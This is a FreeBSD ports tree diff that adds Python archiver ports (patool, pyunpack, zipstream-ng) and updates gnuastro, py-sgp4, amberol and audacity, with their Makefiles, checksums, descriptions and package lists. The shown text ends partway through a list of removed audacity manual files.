diff --git a/archivers/Makefile b/archivers/Makefile index ef2e719950b..f76683b042a 100644 --- a/archivers/Makefile +++ b/archivers/Makefile @@ -191,17 +191,20 @@ SUBDIR += py-lz4 SUBDIR += py-lzma SUBDIR += py-lzstring + SUBDIR += py-patool SUBDIR += py-pyminizip SUBDIR += py-python-lhafile SUBDIR += py-python-lzo SUBDIR += py-python-rpm-packaging SUBDIR += py-python-snappy + SUBDIR += py-pyunpack SUBDIR += py-rarfile SUBDIR += py-rcssmin SUBDIR += py-rjsmin SUBDIR += py-sozipfile SUBDIR += py-warctools SUBDIR += py-xopen + SUBDIR += py-zipstream-ng SUBDIR += py-zopfli SUBDIR += py-zstandard SUBDIR += py-zstd diff --git a/archivers/py-patool/Makefile b/archivers/py-patool/Makefile new file mode 100644 index 00000000000..e010e887bf2 --- /dev/null +++ b/archivers/py-patool/Makefile @@ -0,0 +1,22 @@ +PORTNAME= patool +PORTVERSION= 1.12 +CATEGORIES= archivers python +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= portable command line archive file manager +WWW= https://github.com/wummel/patool/ + +LICENSE= GPLv3 + +USE_GITHUB= yes +GH_ACCOUNT= wummel +GH_PROJECT= ${PORTNAME} +GH_TAGNAME= 4928f3fc5083248ec83bbf6b02b5d9089c309100 + +USES= python:3.6+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/archivers/py-patool/distinfo b/archivers/py-patool/distinfo new file mode 100644 index 00000000000..937d71c388c --- /dev/null +++ b/archivers/py-patool/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1680278476 +SHA256 (wummel-patool-1.12-4928f3fc5083248ec83bbf6b02b5d9089c309100_GH0.tar.gz) = 34ca0cd89cb868198e9bbbee93fb2a55b5dc68b79ca31238da3e7f0de567b7da +SIZE (wummel-patool-1.12-4928f3fc5083248ec83bbf6b02b5d9089c309100_GH0.tar.gz) = 1990425 diff --git a/archivers/py-patool/pkg-descr b/archivers/py-patool/pkg-descr new file mode 100644 index 00000000000..8124689aa22 --- /dev/null +++ b/archivers/py-patool/pkg-descr @@ -0,0 +1,21 @@ +Patool is an archive file manager. + +Various archive formats can be created, extracted, tested, listed, searched, +repacked and compared with patool. The advantage of patool is its simplicity in +handling archive files without having to remember a myriad of programs and +options. + +The archive format is determined by the file(1) program and as a fallback by +the archive file extension. + +patool supports 7z (.7z, .cb7), ACE (.ace, .cba), ADF (.adf), ALZIP (.alz), +APE (.ape), AR (.a), ARC (.arc), ARJ (.arj), BZIP2 (.bz2), CAB (.cab), +COMPRESS (.Z), CPIO (.cpio), DEB (.deb), DMS (.dms), FLAC (.flac), GZIP (.gz), +ISO (.iso), LRZIP (.lrz), LZH (.lha, .lzh), LZIP (.lz), LZMA (.lzma), +LZOP (.lzo), RPM (.rpm), RAR (.rar, .cbr), RZIP (.rz), SHN (.shn), +TAR (.tar, .cbt), XZ (.xz), ZIP (.zip, .jar, .cbz) and ZOO (.zoo) archive +formats. It relies on helper applications to handle those archive formats (for +example bzip2 for BZIP2 archives). + +The archive formats TAR, ZIP, BZIP2 and GZIP are supported natively and do not +require helper applications to be installed. diff --git a/archivers/py-pyunpack/Makefile b/archivers/py-pyunpack/Makefile new file mode 100644 index 00000000000..c1f2aff6919 --- /dev/null +++ b/archivers/py-pyunpack/Makefile @@ -0,0 +1,21 @@ +PORTNAME= pyunpack +PORTVERSION= 0.3 +CATEGORIES= archivers python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= acm@FreeBSD.org +COMMENT= unpack archive files in Python +WWW= https://github.com/ponty/pyunpack + +LICENSE= BSD2CLAUSE + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}easyprocess>0:devel/py-easyprocess@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}entrypoint2>0:devel/py-entrypoint2@${PY_FLAVOR} + +USES= python:3.6+ +USE_PYTHON= autoplist distutils + +NO_ARCH= yes + +.include diff --git a/archivers/py-pyunpack/distinfo b/archivers/py-pyunpack/distinfo new file mode 100644 index 00000000000..5ab778d2e7a --- /dev/null +++ b/archivers/py-pyunpack/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1680277713 +SHA256 (pyunpack-0.3.tar.gz) = b9192665c3aa28eaeb2b01198a2f2f985d9a3ecce55f266a657b31cd337d3f12 +SIZE (pyunpack-0.3.tar.gz) = 6420 diff --git a/archivers/py-pyunpack/pkg-descr b/archivers/py-pyunpack/pkg-descr new file mode 100644 index 00000000000..cceeb96bca0 --- /dev/null +++ b/archivers/py-pyunpack/pkg-descr @@ -0,0 +1,18 @@ +unpack archive files in Python + +Features: + +- unpack archive files +- support passwords +- very simple interface +- command line interface and library + +back-ends: + +- zipfile: included in Python +- patool: It relies on helper applications to handle those archive formats (for + example bzip2 for BZIP2 archives). Supported formats: 7z (.7z), ACE (.ace), + ALZIP (.alz), AR (.a), ARC (.arc), ARJ (.arj), BZIP2 (.bz2), CAB (.cab), + compress (.Z), CPIO (.cpio), DEB (.deb), DMS (.dms), GZIP (.gz), LRZIP (.lrz), + LZH (.lha, .lzh), LZIP (.lz), LZMA (.lzma), LZOP (.lzo), RPM (.rpm), + RAR (.rar), RZIP (.rz), TAR (.tar), XZ (.xz), ZIP (.zip, .jar) and ZOO (.zoo) diff --git a/archivers/py-zipstream-ng/Makefile b/archivers/py-zipstream-ng/Makefile new file mode 100644 index 00000000000..51e4dddb1b6 --- /dev/null +++ b/archivers/py-zipstream-ng/Makefile @@ -0,0 +1,19 @@ +PORTNAME= zipstream-ng +DISTVERSION= 1.5.0 +CATEGORIES= archivers python +MASTER_SITES= PYPI +PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} + +MAINTAINER= DtxdF@disroot.org +COMMENT= Modern and easy to use streamable zip file generator +WWW= https://github.com/pR0Ps/zipstream-ng/ + +LICENSE= LGPL3 +LICENSE_FILE= ${WRKSRC}/LICENSE + +TEST_DEPENDS= ${PYTHON_PKGNAMEPREFIX}pytest-cov>0:devel/py-pytest-cov@${PY_FLAVOR} + +USES= python:3.5+ +USE_PYTHON= autoplist distutils pytest + +.include diff --git a/archivers/py-zipstream-ng/distinfo b/archivers/py-zipstream-ng/distinfo new file mode 100644 index 00000000000..d8566f790f3 --- /dev/null +++ b/archivers/py-zipstream-ng/distinfo @@ -0,0 +1,3 @@ +TIMESTAMP = 1680566521 +SHA256 (zipstream-ng-1.5.0.tar.gz) = ff02b1dac4ef8b4acba70a2c986991e9acd4cfab9c6fa966da9133f0a7015863 +SIZE (zipstream-ng-1.5.0.tar.gz) = 32399 diff --git a/archivers/py-zipstream-ng/pkg-descr b/archivers/py-zipstream-ng/pkg-descr new file mode 100644 index 00000000000..162071cbf7c --- /dev/null +++ b/archivers/py-zipstream-ng/pkg-descr @@ -0,0 +1,23 @@ +zipstream-ng is a modern and easy to use streamable zip file +generator. It can package and stream many files and folders on the +fly without needing temporary files or excessive memory. + +Includes the ability to calculate the total size of the stream +before any data is actually added (provided no compression is used). +This makes it ideal for use in web applications since the total +size can be used to set the `Content-Length` header without having +to generate the entire file first. + +Features: + * Generates zip data on the fly as it's requested. + * Can calculate the total size of the resulting zip file before generation even + begins. + * Flexible API: Typical use cases are simple, complicated ones are possible. + * Supports zipping data from files, bytes, strings, and any other iterable + objects. + * Threadsafe: Won't mangle data if multiple threads concurrently add/read data + to/from the same stream. + * Includes a clone of Python's `http.server` module with zip support added. + Try `python -m zipstream.server`. + * Automatically uses Zip64 extensions, but only if they are required. + * No external dependencies. diff --git a/astro/gnuastro/Makefile b/astro/gnuastro/Makefile index 7f4ffef84c7..2f9d9b9cb65 100644 --- a/astro/gnuastro/Makefile +++ b/astro/gnuastro/Makefile @@ -1,6 +1,5 @@ PORTNAME= gnuastro -PORTVERSION= 0.19 -PORTREVISION= 2 +PORTVERSION= 0.20 CATEGORIES= astro MASTER_SITES= GNU diff --git a/astro/gnuastro/distinfo b/astro/gnuastro/distinfo index 79924978590..083901bc0e5 100644 --- a/astro/gnuastro/distinfo +++ b/astro/gnuastro/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1666570568 -SHA256 (gnuastro-0.19.tar.lz) = 7f7510b3136dd8ff40c7255f7ba0d62d69ffdcb534390a1973bc3afa491c58a4 -SIZE (gnuastro-0.19.tar.lz) = 4475215 +TIMESTAMP = 1682799210 +SHA256 (gnuastro-0.20.tar.lz) = 56404a4b919e106742d74d9ce77402413c595b3da088272a98a9abd541537315 +SIZE (gnuastro-0.20.tar.lz) = 4600460 diff --git a/astro/gnuastro/pkg-plist b/astro/gnuastro/pkg-plist index 70bab3b26c7..acaed88249d 100644 --- a/astro/gnuastro/pkg-plist +++ b/astro/gnuastro/pkg-plist @@ -20,6 +20,7 @@ bin/astscript-psf-subtract bin/astscript-psf-unite bin/astscript-radial-profile bin/astscript-sort-by-night +bin/astscript-zeropoint bin/astsegment bin/aststatistics bin/asttable @@ -85,12 +86,12 @@ include/gnuastro/warp.h include/gnuastro/wcs.h lib/libgnuastro.a lib/libgnuastro.so -lib/libgnuastro.so.17 -lib/libgnuastro.so.17.0.0 +lib/libgnuastro.so.18 +lib/libgnuastro.so.18.0.0 lib/libgnuastro_make.a lib/libgnuastro_make.so -lib/libgnuastro_make.so.17 -lib/libgnuastro_make.so.17.0.0 +lib/libgnuastro_make.so.18 +lib/libgnuastro_make.so.18.0.0 libdata/pkgconfig/gnuastro.pc man/man1/astarithmetic.1.gz man/man1/astbuildprog.1.gz @@ -114,6 +115,7 @@ man/man1/astscript-psf-subtract.1.gz man/man1/astscript-psf-unite.1.gz man/man1/astscript-radial-profile.1.gz man/man1/astscript-sort-by-night.1.gz +man/man1/astscript-zeropoint.1.gz man/man1/astsegment.1.gz man/man1/aststatistics.1.gz man/man1/asttable.1.gz @@ -149,3 +151,4 @@ share/info/gnuastro-figures/sphereandplane.png share/info/gnuastro-figures/sphereandplane.txt %%DATADIR%%/astscript-fits-view.desktop %%DATADIR%%/completion.bash +%%DATADIR%%/zeropoint.mk diff --git a/astro/py-sgp4/Makefile b/astro/py-sgp4/Makefile index 763c7030bf6..1533e868a53 100644 --- a/astro/py-sgp4/Makefile +++ b/astro/py-sgp4/Makefile @@ -1,5 +1,5 @@ PORTNAME= sgp4 -PORTVERSION= 2.21 +PORTVERSION= 2.22 CATEGORIES= astro python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/astro/py-sgp4/distinfo b/astro/py-sgp4/distinfo index 75712204a4d..9c09b61b279 100644 --- a/astro/py-sgp4/distinfo +++ b/astro/py-sgp4/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1649765440 -SHA256 (sgp4-2.21.tar.gz) = 6179b875044877e941633c20af7722fd231a88d8a89af01bf30bd64f33cdecef -SIZE (sgp4-2.21.tar.gz) = 162060 +TIMESTAMP = 1682675254 +SHA256 (sgp4-2.22.tar.gz) = 17f0a2eaad2dca065b6de25c1ceaa940ff7cfa8cc67120cb4111a00f177b86f9 +SIZE (sgp4-2.22.tar.gz) = 176506 diff --git a/astro/py-sgp4/pkg-plist b/astro/py-sgp4/pkg-plist index 2eb7ec9e0f4..41acb83fa8f 100644 --- a/astro/py-sgp4/pkg-plist +++ b/astro/py-sgp4/pkg-plist @@ -2,6 +2,8 @@ %%PYTHON_SITELIBDIR%%/sgp4/__init__.py %%PYTHON_SITELIBDIR%%/sgp4/__pycache__/__init__.cpython-%%PYTHON_SUFFIX%%.opt-1.pyc %%PYTHON_SITELIBDIR%%/sgp4/__pycache__/__init__.cpython-%%PYTHON_SUFFIX%%.pyc +%%PYTHON_SITELIBDIR%%/sgp4/__pycache__/alpha5.cpython-%%PYTHON_SUFFIX%%.opt-1.pyc +%%PYTHON_SITELIBDIR%%/sgp4/__pycache__/alpha5.cpython-%%PYTHON_SUFFIX%%.pyc %%PYTHON_SITELIBDIR%%/sgp4/__pycache__/api.cpython-%%PYTHON_SUFFIX%%.opt-1.pyc %%PYTHON_SITELIBDIR%%/sgp4/__pycache__/api.cpython-%%PYTHON_SUFFIX%%.pyc %%PYTHON_SITELIBDIR%%/sgp4/__pycache__/conveniences.cpython-%%PYTHON_SUFFIX%%.opt-1.pyc @@ -28,6 +30,7 @@ %%PYTHON_SITELIBDIR%%/sgp4/__pycache__/wrapper.cpython-%%PYTHON_SUFFIX%%.pyc %%PYTHON_SITELIBDIR%%/sgp4/__pycache__/wulfgar.cpython-%%PYTHON_SUFFIX%%.opt-1.pyc %%PYTHON_SITELIBDIR%%/sgp4/__pycache__/wulfgar.cpython-%%PYTHON_SUFFIX%%.pyc +%%PYTHON_SITELIBDIR%%/sgp4/alpha5.py %%PYTHON_SITELIBDIR%%/sgp4/api.py %%PYTHON_SITELIBDIR%%/sgp4/conveniences.py %%PYTHON_SITELIBDIR%%/sgp4/earth_gravity.py diff --git a/audio/Makefile b/audio/Makefile index fa53e63336b..106aa0eeb57 100644 --- a/audio/Makefile +++ b/audio/Makefile @@ -131,6 +131,7 @@ SUBDIR += eawpats SUBDIR += eawplus SUBDIR += ebumeter + SUBDIR += ebur128 SUBDIR += ecasound SUBDIR += elisa SUBDIR += emms @@ -832,6 +833,7 @@ SUBDIR += vamp-plugin-sdk SUBDIR += vban SUBDIR += vgmplay + SUBDIR += vgmtools SUBDIR += vimpc SUBDIR += virtual_oss SUBDIR += virtual_oss_ctl @@ -867,6 +869,7 @@ SUBDIR += xanalyser SUBDIR += xcd SUBDIR += xcdplayer + SUBDIR += xfce4-mixer SUBDIR += xfce4-mpc-plugin SUBDIR += xfce4-pulseaudio-plugin SUBDIR += xfmpc diff --git a/audio/amberol/Makefile b/audio/amberol/Makefile index e7ef8665c51..0c653345d57 100644 --- a/audio/amberol/Makefile +++ b/audio/amberol/Makefile @@ -1,5 +1,5 @@ PORTNAME= amberol -DISTVERSION= 0.10.1 +DISTVERSION= 0.10.2 CATEGORIES= audio MAINTAINER= jbeich@FreeBSD.org @@ -21,7 +21,7 @@ USE_GNOME= gdkpixbuf2 gtk40 libadwaita USE_GSTREAMER= bad good libav GL_SITE= https://gitlab.gnome.org GL_ACCOUNT= World -GL_COMMIT= 3cd54f1251cf74dd02086614f1da4d96aa7e0132 +GL_COMMIT= a11feabf354bc39816b77aabf4aa1376153fbd1e MAKE_ENV= ${CARGO_ENV} CARGO_BUILD= no CARGO_INSTALL= no diff --git a/audio/amberol/distinfo b/audio/amberol/distinfo index 577fd038a7d..047ea9170cb 100644 --- a/audio/amberol/distinfo +++ b/audio/amberol/distinfo @@ -1,4 +1,4 @@ -TIMESTAMP = 1682461500 +TIMESTAMP = 1682721980 SHA256 (rust/crates/adler-1.0.2.crate) = f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe SIZE (rust/crates/adler-1.0.2.crate) = 12778 SHA256 (rust/crates/aho-corasick-0.7.20.crate) = cc936419f96fa211c1b9166887b38e5e40b19958e5b895be7c1f93adec7071ac @@ -467,5 +467,5 @@ SHA256 (rust/crates/zvariant-3.11.0.crate) = 903169c05b9ab948ee93fefc9127d08930d SIZE (rust/crates/zvariant-3.11.0.crate) = 71214 SHA256 (rust/crates/zvariant_derive-3.11.0.crate) = cce76636e8fab7911be67211cf378c252b115ee7f2bae14b18b84821b39260b5 SIZE (rust/crates/zvariant_derive-3.11.0.crate) = 12364 -SHA256 (World-amberol-3cd54f1251cf74dd02086614f1da4d96aa7e0132_GL0.tar.gz) = 99a23cacdcfdf7463beeffbca6ce56559bea83098dd78705e1a0ffdabb359622 -SIZE (World-amberol-3cd54f1251cf74dd02086614f1da4d96aa7e0132_GL0.tar.gz) = 1143549 +SHA256 (World-amberol-a11feabf354bc39816b77aabf4aa1376153fbd1e_GL0.tar.gz) = e75b8c13adfe4b105348a16bf4ecdeceec820cee08bba93dca7f62ec9bb863de +SIZE (World-amberol-a11feabf354bc39816b77aabf4aa1376153fbd1e_GL0.tar.gz) = 1145080 diff --git a/audio/audacity/Makefile b/audio/audacity/Makefile index df21b7e2e6e..f5f6c091731 100644 --- a/audio/audacity/Makefile +++ b/audio/audacity/Makefile @@ -1,7 +1,6 @@ PORTNAME= audacity DISTVERSIONPREFIX= Audacity- -DISTVERSION= 3.2.5 -PORTREVISION= 2 +DISTVERSION= 3.3.1 CATEGORIES= audio MAINTAINER= xxjack12xx@gmail.com @@ -15,11 +14,13 @@ BUILD_DEPENDS= conan:sysutils/conan LIB_DEPENDS= libasound.so:audio/alsa-lib \ libcurl.so:ftp/curl \ libexpat.so:textproc/expat2 \ + libopenjp2.so:graphics/openjpeg \ libmp3lame.so:audio/lame \ libmpg123.so:audio/mpg123 \ libopus.so:audio/opus \ libportaudio.so:audio/portaudio \ libportmidi.so:audio/portmidi \ + libpng.so:graphics/png \ libsndfile.so:audio/libsndfile \ libsoxr.so:audio/libsoxr \ libsqlite3.so:databases/sqlite3 \ @@ -34,11 +35,12 @@ USE_GNOME= cairo gdkpixbuf2 gtk30 USE_WX= 3.2+ CPE_VENDOR= audacityteam WX_COMPS= wx -PORTDOCS= README.txt +PORTDOCS= README.md CMAKE_ARGS= -Daudacity_lib_preference:STRING=system \ -Daudacity_use_curl:STRING=system \ -Daudacity_use_expat:STRING=system \ + -Daudacity_use_jpeg:STRING=system \ -Daudacity_use_libmp3lame:STRING=system \ -Daudacity_use_libmpg123:STRING=system \ -Daudacity_use_libopus:STRING=system \ @@ -48,9 +50,9 @@ CMAKE_ARGS= -Daudacity_lib_preference:STRING=system \ -Daudacity_use_portaudio:STRING=system \ -Daudacity_use_portmixer:STRING=local \ -Daudacity_use_portsmf:STRING=local \ + -Daudacity_use_png:STRING=system \ -Daudacity_use_soxr:STRING=system \ -Daudacity_use_sqlite:STRING=system \ - -Daudacity_use_uuid:STRING=system \ -Daudacity_use_wavpack=system \ -Daudacity_use_wxwidgets:STRING=system \ -Daudacity_use_zlib:STRING=system @@ -163,3 +165,4 @@ post-install-DOCS-on: cd ${WRKSRC} && ${INSTALL_DATA} ${PORTDOCS} ${STAGEDIR}${DOCSDIR} .include + diff --git a/audio/audacity/distinfo b/audio/audacity/distinfo index ab1322a4311..ee2c5c99691 100644 --- a/audio/audacity/distinfo +++ b/audio/audacity/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1677789050 -SHA256 (audacity-audacity-Audacity-3.2.5_GH0.tar.gz) = 7ee4f6f3ea985114b8fda578c67faf163e1d2cc8b2f0bad1b259a9367d2ccb1b -SIZE (audacity-audacity-Audacity-3.2.5_GH0.tar.gz) = 57017533 +TIMESTAMP = 1682836030 +SHA256 (audacity-audacity-Audacity-3.3.1_GH0.tar.gz) = 5c22735a9ed7b0a0143a1817cc5f7e61ae3a855d911fbca8758962e5273710e4 +SIZE (audacity-audacity-Audacity-3.3.1_GH0.tar.gz) = 57120730 diff --git a/audio/audacity/files/patch-cmake-proxies_CMakeLists.txt b/audio/audacity/files/patch-cmake-proxies_CMakeLists.txt deleted file mode 100644 index 448617e0a98..00000000000 --- a/audio/audacity/files/patch-cmake-proxies_CMakeLists.txt +++ /dev/null @@ -1,11 +0,0 @@ ---- cmake-proxies/CMakeLists.txt.orig 2022-10-05 10:43:02 UTC -+++ cmake-proxies/CMakeLists.txt -@@ -131,7 +131,7 @@ else() - libmad - libmad/0.15.2b-1@ - OPTION_NAME libmad -- PKG_CONFIG "mad >= 0.15.0b" # Ubuntu has broken PC file -+ PKG_CONFIG "libmad >= 0.15.0b" # Ubuntu has broken PC file - ) - endif() - diff --git a/audio/audacity/files/patch-src_AboutDialog.cpp b/audio/audacity/files/patch-src_AboutDialog.cpp index 0a9529d7fd5..6e4a1fb8e75 100644 --- a/audio/audacity/files/patch-src_AboutDialog.cpp +++ b/audio/audacity/files/patch-src_AboutDialog.cpp @@ -1,6 +1,6 @@ --- src/AboutDialog.cpp.orig 2022-09-22 16:16:06 UTC +++ src/AboutDialog.cpp -@@ -59,7 +59,7 @@ hold information about one contributor to Audacity. +@@ -55,7 +55,7 @@ hold information about one contributor to Audacity. // RevisionIdent.h may contain #defines like these ones: //#define REV_LONG "28864acb238cb3ca71dda190a2d93242591dd80e" //#define REV_TIME "Sun Apr 12 12:40:22 2015 +0100" diff --git a/audio/audacity/files/patch-src_ListNavigationPanel.h b/audio/audacity/files/patch-src_ListNavigationPanel.h new file mode 100644 index 00000000000..5cf377b91f7 --- /dev/null +++ b/audio/audacity/files/patch-src_ListNavigationPanel.h @@ -0,0 +1,11 @@ +--- src/ListNavigationPanel.h.orig 2023-04-27 07:55:48 UTC ++++ src/ListNavigationPanel.h +@@ -13,7 +13,7 @@ + #include + #include + +-extern template class WXDLLIMPEXP_CORE wxNavigationEnabled; ++//extern template class WXDLLIMPEXP_CORE wxNavigationEnabled; + + #include "ListNavigationEnabled.h" + diff --git a/audio/audacity/pkg-plist b/audio/audacity/pkg-plist index 5ffb61f565c..c0705a7455c 100644 --- a/audio/audacity/pkg-plist +++ b/audio/audacity/pkg-plist @@ -1,8 +1,11 @@ bin/audacity lib/audacity/lib-audio-devices.so lib/audacity/lib-audio-graph.so +lib/audacity/lib-audio-io.so lib/audacity/lib-basic-ui.so +lib/audacity/lib-command-parameters.so lib/audacity/lib-components.so +lib/audacity/lib-effects.so lib/audacity/lib-exceptions.so %%FFMPEG%%lib/audacity/lib-ffmpeg-support.so lib/audacity/lib-files.so @@ -10,1416 +13,37 @@ lib/audacity/lib-graphics.so lib/audacity/lib-ipc.so lib/audacity/lib-math.so lib/audacity/lib-module-manager.so +lib/audacity/lib-numeric-formats.so lib/audacity/lib-preferences.so +lib/audacity/lib-project-file-io.so lib/audacity/lib-project-history.so lib/audacity/lib-project-rate.so lib/audacity/lib-project.so +lib/audacity/lib-realtime-effects.so lib/audacity/lib-registries.so lib/audacity/lib-sample-track.so lib/audacity/lib-screen-geometry.so +lib/audacity/lib-shuttlegui.so +lib/audacity/lib-snapping.so lib/audacity/lib-string-utils.so lib/audacity/lib-strings.so +lib/audacity/lib-tags.so lib/audacity/lib-theme-resources.so lib/audacity/lib-theme.so +lib/audacity/lib-time-frequency-selection.so +lib/audacity/lib-time-track.so +lib/audacity/lib-track-selection.so lib/audacity/lib-track.so lib/audacity/lib-transactions.so lib/audacity/lib-utility.so lib/audacity/lib-uuid.so +lib/audacity/lib-wave-track.so +lib/audacity/lib-wx-init.so +lib/audacity/lib-wx-wrappers.so lib/audacity/lib-xml.so lib/audacity/modules/mod-script-pipe.so share/applications/audacity.desktop %%DATADIR%%/EffectsMenuDefaults.xml -%%MANUAL%%%%DATADIR%%/help/manual/favicon.ico -%%MANUAL%%%%DATADIR%%/help/manual/index.html -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/00/preferences_playback.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/00/waveannotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/01/rewind.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/02/envelope.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/02/removing_labels_together_with_their_associated_audio_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/02/selectmenuclipboundaries_previous_1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/02/toolstoolbarannotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/03/macaudioports.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/03/view_skip_tomenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/04/devicetoolbarannotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/04/extramenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/04/fragment_of_the_keyboard_preferences_dialog.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/04/frequency_analysis_nokia_3310_classic_monophonic_ringtone.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/04/labelregionmove2after_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/04/selectionpointer.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/04/spectral_delete_deletion_with_toolbar.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/04/windows_control_panel_h_s_sound75percent.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/05/project_recovered_dialog.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/05/selectmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/05/spectrogramview_09.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/05/track_close_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/06/04_cut_paste_paste_into_shorter_selection_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/06/preferences_tracks_behaviors.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/06/reverse.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/06/sample_data_import_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/06/theme_light_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/06/timer_record_waiting_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/07/compressor_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/07/contrast_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/07/edit_labels_dialog_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/07/export_mp3_dialog_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/07/ffwd.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/07/lower_tooldock_with_pas_toolbar.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/08/sltg_edits_12.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/08/sltg_edits_3.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/09/audio_track_with_track_name_superimposed_translucent.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/09/logarithmic_envelope.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/09/pointexpandafter_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/09/preferences_application.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/09/redo.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0a/debug_report_location.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0a/editmenulabeledaudio_initialselection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0a/vertical_scale_ruler.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0b/labeltrackpreparetocopy_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0b/logarithmic_fade_in.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0b/phaser_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0b/set_track.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0b/timeline01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0b/timeline_default_scale_with_scrub_ruler.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0c/editmenuclipboundaries_splitnew_02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0c/prefs_settings_for_importing_malformed_mp3_files.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0c/recording_meter_gradient_full_height.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0c/spectral_edit_shelves.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0d/keyboard_tree.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0d/spectral_01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0d/warning_mix_down_to_one_mono_file.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0e/editmenulabeledaudio_split_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0e/selectmenuclipboundaries_prevtocursor_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0e/waveform_sample_rates.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0e/zoom9.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0f/ex2a_cutexpanded.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/0/0f/tensecondtrimmedaudio.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/10/crossfade_tracks_effect_completed.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/10/gunshot.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/10/regular_interval_labels_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/10/timer_record_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/11/crossfade_selected_region.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/11/editmenuclipboundaries_detach_01.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/11/export_amr_dialog_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/11/graphic_eq_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/11/macro_example_loud_mp3.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/11/spectral_02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/12/audio_setup_recording_device.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/12/editmenulabeledaudio_ex1_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/12/file_type_drop_down_menu_w10_3_0_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/1/12/keyboard_name.png 